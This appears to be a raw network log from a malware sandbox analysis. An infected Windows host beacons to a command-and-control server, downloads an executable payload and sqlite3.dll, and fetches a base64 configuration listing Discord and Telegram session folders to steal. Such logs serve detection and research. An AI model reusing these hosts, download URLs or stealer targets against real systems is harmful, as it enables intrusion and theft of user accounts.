Dec 28, 2021 05:19:00.745503902 CET	2702	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jpkelrew.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 342 Host: host-data-coin-11.com
Dec 28, 2021 05:19:00.891172886 CET	2703	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49790	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:01.006444931 CET	2704	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hlqcmdcx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 149 Host: host-data-coin-11.com
Dec 28, 2021 05:19:01.124536037 CET	2705	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49865	155.248.231.246	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49791	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:01.227207899 CET	2706	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lpxlc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 276 Host: host-data-coin-11.com
Dec 28, 2021 05:19:01.340322971 CET	2706	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49792	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:01.430061102 CET	2707	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://imhlo.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 147 Host: host-data-coin-11.com
Dec 28, 2021 05:19:01.546601057 CET	2708	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49793	185.7.214.171	8080	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:01.633940935 CET	2708	OUT	GET /6.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 185.7.214.171:8080
Dec 28, 2021 05:19:01.695663929 CET	2710	IN	HTTP/1.1 200 OK Date: Tue, 28 Dec 2021 04:19:01 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Transfer-Encoding: Binary Content-disposition: attachment; filename="4ip1dxwse71k7.exe" Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: application/octet-stream Data Raw: 33 36 38 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 81 24 25 2c c5 45 4b 7f c5 45 4b 7f c5 45 4b 7f db 17 cf 7f de 45 4b 7f db 17 de 7f de 45 4b 7f db 17 c8 7f a6 45 4b 7f e2 83 30 7f c0 45 4b 7f c5 45 4a 7f bc 45 4b 7f db 17 c1 7f c4 45 4b 7f db 17 df 7f c4 45 4b 7f db 17 da 7f c4 45 4b 7f 52 69 63 68 c5 45 4b 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 37 be a0 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 b0 00 00 00 c2 42 00 00 00 00 00 ff 1a 00 00 00 10 00 00 00 c0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 60 43 00 00 04 00 00 5c d5 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 56 03 00 3c 00 00 00 00 70 42 00 80 ed 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 c1 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 52 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 70 ae 00 00 00 10 00 00 00 b0 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a4 9d 02 00 00 c0 00 00 00 9e 02 00 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 f6 3e 00 00 60 03 00 00 16 00 00 00 52 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 77 65 77 65 78 00 00 72 02 00 00 00 60 42 00 00 04 00 00 00 68 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 ed 00 00 00 70 42 00 00 ee 00 00 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 3680MZ@!L!This program cannot be run in DOS mode.$$%,EKEKEKEKEKEK0EKEJEKEKEKEKRichEKPEL7_B@`C\<V<pBR@H.textp `.rdata@@.data`>`R@.wewexr`Bh@@.rsrcpBl@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49794	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:02.321827888 CET	2724	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://eaidisso.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 233 Host: host-data-coin-11.com
Dec 28, 2021 05:19:02.443386078 CET	2725	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49795	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:02.567060947 CET	2726	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yacyom.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 204 Host: host-data-coin-11.com
Dec 28, 2021 05:19:02.680619001 CET	2727	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49796	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:02.815735102 CET	2728	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ebhyi.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 345 Host: host-data-coin-11.com
Dec 28, 2021 05:19:02.933667898 CET	2728	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49797	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:03.062716961 CET	2729	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jtcndb.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 344 Host: host-data-coin-11.com
Dec 28, 2021 05:19:03.182194948 CET	2730	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 36 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b5 50 db 41 d4 fd 25 8d 2a ed aa 96 56 2b e3 b1 48 22 e3 b3 b7 6c f6 9e b8 5e a9 77 96 c4 30 41 56 39 0f 4c da bb 4d b3 f2 40 84 a0 c3 00 c6 60 9d d2 69 0d 0a 30 0d 0a 0d 0a Data Ascii: 66I:82OB%,YR("XPA%*V+H"l^w0AV9LM@`i0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49799	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:03.504267931 CET	3281	OUT	GET /tratata.php HTTP/1.1 Host: file-file-host4.com Connection: Keep-Alive Cache-Control: no-cache
Dec 28, 2021 05:19:03.621061087 CET	3282	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Tue, 28 Dec 2021 04:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3a2jv90p7dncfvulq2s4utiio9; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Data Raw: 63 34 0d 0a 4d 58 77 78 66 44 46 38 4d 58 78 45 61 58 4e 6a 62 33 4a 6b 66 44 42 38 4a 55 46 51 55 45 52 42 56 45 45 6c 58 47 52 70 63 32 4e 76 63 6d 52 63 54 47 39 6a 59 57 77 67 55 33 52 76 63 6d 46 6e 5a 56 78 38 4b 6e 77 78 66 44 42 38 4d 48 78 55 5a 57 78 6c 5a 33 4a 68 62 58 77 77 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 55 5a 57 78 6c 5a 33 4a 68 62 53 42 45 5a 58 4e 72 64 47 39 77 58 48 52 6b 59 58 52 68 58 48 77 71 52 44 67 33 4e 30 59 33 4f 44 4e 45 4e 55 51 7a 52 55 59 34 51 79 6f 73 4b 6d 31 68 63 43 6f 73 4b 6d 4e 76 62 6d 5a 70 5a 33 4d 71 66 44 46 38 4d 48 77 77 66 41 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: c4MXwxfDF8MXxEaXNjb3JkfDB8JUFQUERBVEElXGRpc2NvcmRcTG9jYWwgU3RvcmFnZVx8KnwxfDB8MHxUZWxlZ3JhbXwwfCVBUFBEQVRBJVxUZWxlZ3JhbSBEZXNrdG9wXHRkYXRhXHwqRDg3N0Y3ODNENUQzRUY4QyosKm1hcCosKmNvbmZpZ3MqfDF8MHwwfA==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49800	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:03.713118076 CET	3282	OUT	GET /sqlite3.dll HTTP/1.1 Host: file-file-host4.com Cache-Control: no-cache Cookie: PHPSESSID=3a2jv90p7dncfvulq2s4utiio9
Dec 28, 2021 05:19:03.808496952 CET	3284	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Tue, 28 Dec 2021 04:19:03 GMT Content-Type: application/x-msdos-program Content-Length: 645592 Connection: close Last-Modified: Wed, 08 Dec 2021 03:32:46 GMT ETag: "9d9d8-5d29a24b21380" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 08 00 00 0e 00 00 00 38 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 37 37 00 00 00 00 00 94 0b 00 00 00 c0 08 00 00 0c 00 00 00 46 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 39 00 00 00 00 00 04 05 00 00 00 d0 08 00 00 06 00 00 00 52 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 31 30 32 00 00 00 00 0d 01 00 00 00 e0 08 00 00 02 00 00 00 58 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 31 33 00 00 00 00 db 19 00 00 00 f0 08 00 00 1a 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL=Sv?!X` 8 L'p.text`0`.data@@.rdata$@@@.bss@.edata@0@.idataL@0.CRT@0.tls @0.reloc'(@0B/4`0@@B/19@@B/35MP@B/51`C`D@B/638@B/77F@B/89R@0B/102X@B/113

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49801	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:05.040293932 CET	3966	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vdbegiq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 228 Host: host-data-coin-11.com
